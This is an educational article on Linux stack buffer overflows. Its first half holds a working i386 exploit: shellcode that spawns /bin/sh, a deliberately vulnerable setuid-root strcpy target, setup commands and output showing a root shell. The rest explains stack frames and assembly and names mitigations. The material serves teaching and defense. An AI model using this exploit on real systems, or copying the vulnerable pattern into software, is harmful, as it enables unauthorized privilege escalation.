Uncovering Linux Buffer Overflow Exploits: Stack Frames, Code Samples, and Defense

Linux Buffer Overflow Attack Example

To illustrate a typical Linux buffer‑overflow exploit, two C programs are provided:

#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
    char large_string[128];
    long *long_ptr = (long *) large_string;
    int i;
    char shellcode[] =
    "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07"
    "\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d"
    "\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
    "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
    for (i = 0; i < (int) strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    setenv("KIRIKA", large_string, 1);
    execle(argv[1], argv[1], NULL, environ);
    return 0;
}

Compile the exploit program: $ gcc exe.c -o exe The vulnerable target program:

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
    char buffer[96];
    printf("- %p -
", &buffer);
    strcpy(buffer, getenv("KIRIKA"));
    return 0;
}

Compile the target and give it set‑uid root ownership:

$ gcc toto.c -o toto
$ su
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*
-rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*

Running the exploit with an incorrect address first fails, then with the discovered address succeeds, granting a root shell:

$ ./exe ./toto 0xbffffc38
- 0xbffffc38 -
bash# whoami
root

The demonstration shows how a set‑uid root program with a buffer overflow can be hijacked to execute arbitrary code and obtain root privileges.

Linux Process Address Space Layout and Stack‑Frame Structure

Understanding buffer‑overflow attacks requires knowledge of the Linux process address space and how stack frames are organized. A process consists of a code segment, data segment, BSS, heap, and a downward‑growing stack. The top of user space holds command‑line arguments and environment variables, while a large gap separates the stack from the BSS.

The stack stores stack frames for each function call. Each frame contains, from top to bottom, the function arguments, the return address, the previous frame pointer, and space for local variables. Two pointers are crucial: the frame pointer (EBP on i386) and the stack‑top pointer (ESP).

Example C program and its generated assembly illustrate how arguments are pushed onto the stack, how the callee creates its frame, and how the leave and ret instructions dismantle the frame.

int function(int a, int b, int c) {
    char buffer[14];
    int sum;
    sum = a + b + c;
    return sum;
}

void main() {
    int i;
    i = function(1,2,3);
}

Compiled assembly (excerpt):

1   .file   "example1.c"
... (omitted for brevity) ...
9   pushl %ebp
10  movl %esp,%ebp
11  subl $20,%esp   ; allocate space for buffer[14] and sum
... 
21  leave
22  ret

On i386, ebp serves as the frame pointer, while esp points to the current top of the stack. The compiler aligns local variables to 4‑byte boundaries, often allocating extra padding (e.g., 16 bytes for a 14‑byte buffer) for performance reasons. Optimizing compilers may change the exact stack‑pointer adjustments, which explains differences observed with newer GCC versions. By examining the offsets relative to ebp , one can see how the arguments ( 8(%ebp) , 12(%ebp) , 16(%ebp) ) and the local variable sum ( -20(%ebp) ) are accessed, and how the return value is passed back in eax . The leave instruction restores esp from ebp , effectively freeing the frame, and ret pops the saved return address back into the instruction pointer. Understanding these mechanics is essential for both crafting exploits and designing mitigations such as stack canaries, non‑executable stacks, and address space layout randomization (ASLR).